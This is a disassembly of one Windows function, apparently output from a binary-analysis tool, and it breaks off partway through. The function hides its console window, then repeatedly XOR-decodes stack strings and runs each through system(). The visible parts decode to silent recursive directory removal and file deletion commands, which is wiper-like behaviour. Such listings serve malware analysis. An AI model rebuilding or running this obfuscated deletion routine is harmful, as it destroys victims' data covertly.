Function at 0x14006f240
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140121f80]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401216c0]
xor ebx, ebx
mov eax, 0x4c
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a20]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213e0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov byte [rbp + 0x17], 0xcd
mov word [rbp + 0x18], cx
mov byte [rbp + 0x1a], cl
test eax, eax
je 0x14006f2f7
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f2e0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401218c0]
mov esi, 0x40
movdqa xmmword [rbp - 0x29], xmm0
mov edx, ebx
movdqa xmm0, xmmword [0x140121cc0]
mov eax, esi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xa4dac8dc
mov byte [rbp + 0xb], 0xc1
mov word [rbp + 0xc], cx
mov byte [rbp + 0xe], cl
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f361
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121790]
mov edx, ebx
mov eax, 0x1a
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x25], 0xfbf7fcf8
mov dword [rbp - 0x21], 0xd1cbe5e2
mov dword [rbp - 0x1d], 0x9bdcd7
movdqu xmmword [rbp - 0x35], xmm0
test eax, eax
je 0x14006f3d7
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f3c0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121500]
mov edx, ebx
movdqa xmm1, xmmword [0x140121b20]
mov eax, 0x42
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121f50]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xa3defdf1
mov dword [rbp + 0xb], 0xc3a7a9
test eax, eax
je 0x14006f457
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f440
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121720]
mov r15d, 0x25
movdqa xmm1, xmmword [0x140121a50]
mov edx, ebx
mov eax, r15d
mov dword [rbp - 0x39], eax
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x15], 0xd0cdc7cc
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 0x11], 0xa6d6
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f4a0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121790]
mov edx, ebx
movdqa xmm1, xmmword [0x140121380]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1f
movdqu xmmword [rbp - 0x25], xmm1
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f4f0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121720]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x37
movdqa xmm0, xmmword [0x1401211d0]
movdqu xmmword [rbp - 0x15], xmm0
mov dword [rbp - 5], 0xd5f0e1f5
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 1], 0xb8d2ded6
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f560
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219f0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], 0x3f
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xc0cbd0d8
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f5d1
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121790]
mov edx, ebx
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1b
mov dword [rbp - 0x25], 0xfbf7fcf8
mov dword [rbp - 0x21], 0xeccbe5e2
mov dword [rbp - 0x1d], 0x9cebf7fc
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f621
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x55
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121220]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x17], 0xb1bbaba0
mov dword [rbp + 0x1b], 0xa6bca6a2
mov dword [rbp + 0x1f], 0xd6b0
test eax, eax
je 0x14006f6c9
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f6b2
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121c50]
mov edx, ebx
movdqa xmm1, xmmword [0x140121cd0]
mov eax, 0x3a
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140120ca0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
test eax, eax
je 0x14006f738
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f721
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121620]
mov edx, ebx
movdqa xmm1, xmmword [0x140121950]
mov eax, 0x35
mov dword [rbp - 0x39], eax
mov dword [rbp - 5], 0xd9d6e6ed
mov dword [rbp - 1], 0xb6c5
movdqu xmmword [rbp - 0x35], xmm0
movdqa xmm0, xmmword [0x140121b80]
movdqu xmmword [rbp - 0x15], xmm0
movdqu xmmword [rbp - 0x25], xmm1
test eax, eax
je 0x14006f7a7
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f790
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x39
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140120c00]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
test eax, eax
je 0x14006f817
nop
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f800
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d10]
mov edi, 0x41
movdqa xmm1, xmmword [0x140121920]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401218f0]
mov eax, edi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xafd6cadc
mov dword [rbp + 0xb], 0xc2af
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f880
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121790]
mov edx, ebx
movdqa xmm1, xmmword [0x140121380]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1f
movdqu xmmword [rbp - 0x25], xmm1
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f8d0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121530]
mov edx, ebx
movdqa xmm1, xmmword [0x1401216a0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121960]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401215f0]
mov eax, 0x71
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1401213d0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x1401212f0]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xe8e6e6c1
mov dword [rbp - 0x31], 0xa8f4a9a5
mov dword [rbp - 0x2d], 0xa3abeca6
mov dword [rbp + 0x37], 0xdec5b294
mov dword [rbp + 0x3b], 0xf2db
test eax, eax
je 0x14006f997
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006f980
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121530]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401218a0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ad0]
mov eax, 0x5c
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121e30]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213c0]
movdqa xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xe8e6e6c1
mov dword [rbp - 0x31], 0xa8f4a9a5
mov dword [rbp - 0x2d], 0xa3abeca6
movdqa xmmword [rbp + 7], xmm1
mov byte [rbp + 0x27], 0xdd
mov word [rbp + 0x28], cx
mov byte [rbp + 0x2a], cl
test eax, eax
je 0x14006fa37
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fa20
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x39], 0x63
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp + 0x27], 0x85a8bcbf
mov dword [rbp + 0x2b], 0xe4a0a3bd
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fab2
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140121c70]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], 0x6b
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fb50
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov r14d, 0x69
movdqa xmm1, xmmword [0x1401218c0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140120c30]
mov eax, r14d
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fbf0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121eb0]
xor eax, eax
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401217d0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], esi
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xb3d1d7da
mov byte [rbp + 0xb], 0xc1
mov word [rbp + 0xc], ax
mov byte [rbp + 0xe], al
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov esi, dword [rbp - 0x39]
cmp edx, esi
jb 0x14006fc70
lea rcx, [rbp - 0x35]
mov byte [rbp + rsi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121eb0]
mov edx, ebx
movdqa xmm1, xmmword [0x140121b00]
mov eax, 0x46
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x90e3dbd0
mov dword [rbp + 0xb], 0xada4b7ad
mov dword [rbp + 0xf], 0xc7b5ab
test eax, eax
je 0x14006fd17
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fd00
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121eb0]
xor ecx, ecx
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
mov eax, 0x54
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121520]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x17], 0xb1a0a2a3
mov dword [rbp + 0x1b], 0xa6ba96b5
mov byte [rbp + 0x1f], 0xd5
mov word [rbp + 0x20], cx
mov byte [rbp + 0x22], cl
test eax, eax
je 0x14006fdb7
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fda0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121eb0]
mov esi, 0x45
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
mov eax, esi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x83e3dbd0
mov dword [rbp + 0xb], 0xada5acae
mov dword [rbp + 0xf], 0xc6a2
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006fe22
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d10]
mov edx, ebx
movdqa xmm1, xmmword [0x140121920]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401218f0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], edi
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xafd6cadc
mov dword [rbp + 0xb], 0xc2af
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov edi, dword [rbp - 0x39]
cmp edx, edi
jb 0x14006fea0
lea rcx, [rbp - 0x35]
mov byte [rbp + rdi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edi, 0x3d
movdqa xmm1, xmmword [0x1401216c0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ae0]
mov eax, edi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xbec9
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006ff20
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121640]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218d0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121810]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], esi
mov dword [rbp - 0x35], 0xa4efe7e5
mov dword [rbp - 0x31], 0xa7a7e0aa
mov dword [rbp - 0x2d], 0xfda4aafa
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xb3d4ccd2
mov dword [rbp + 0xb], 0xaca0a382
mov dword [rbp + 0xf], 0xc6a0
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov esi, dword [rbp - 0x39]
cmp edx, esi
jb 0x14006ffa0
lea rcx, [rbp - 0x35]
mov byte [rbp + rsi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121640]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218d0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121aa0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], edi
mov dword [rbp - 0x35], 0xa4efe7e5
mov dword [rbp - 0x31], 0xa7a7e0aa
mov dword [rbp - 0x2d], 0xfda4aafa
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xbece
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov edi, dword [rbp - 0x39]
cmp edx, edi
jb 0x140070010
lea rcx, [rbp - 0x35]
mov byte [rbp + rdi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121de0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401216d0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401217b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213f0]
mov eax, 0x70
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1401214d0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140121400]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x37], 0x95878d8c
mov byte [rbp + 0x3b], 0xf1
mov word [rbp + 0x3c], cx
mov byte [rbp + 0x3e], cl
test eax, eax
je 0x1400700d7
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x1400700c0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121720]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
mov eax, 0x32
mov dword [rbp - 0x39], eax
mov dword [rbp - 5], 0xb3c2dc
movdqu xmmword [rbp - 0x35], xmm0
movdqa xmm0, xmmword [0x140121a40]
movdqu xmmword [rbp - 0x15], xmm0
movdqu xmmword [rbp - 0x25], xmm1
test eax, eax
je 0x140070138
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x140070121
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x49
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140120c10]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
test eax, eax
je 0x1400701b7
nop dword [rax]
mov eax, edx
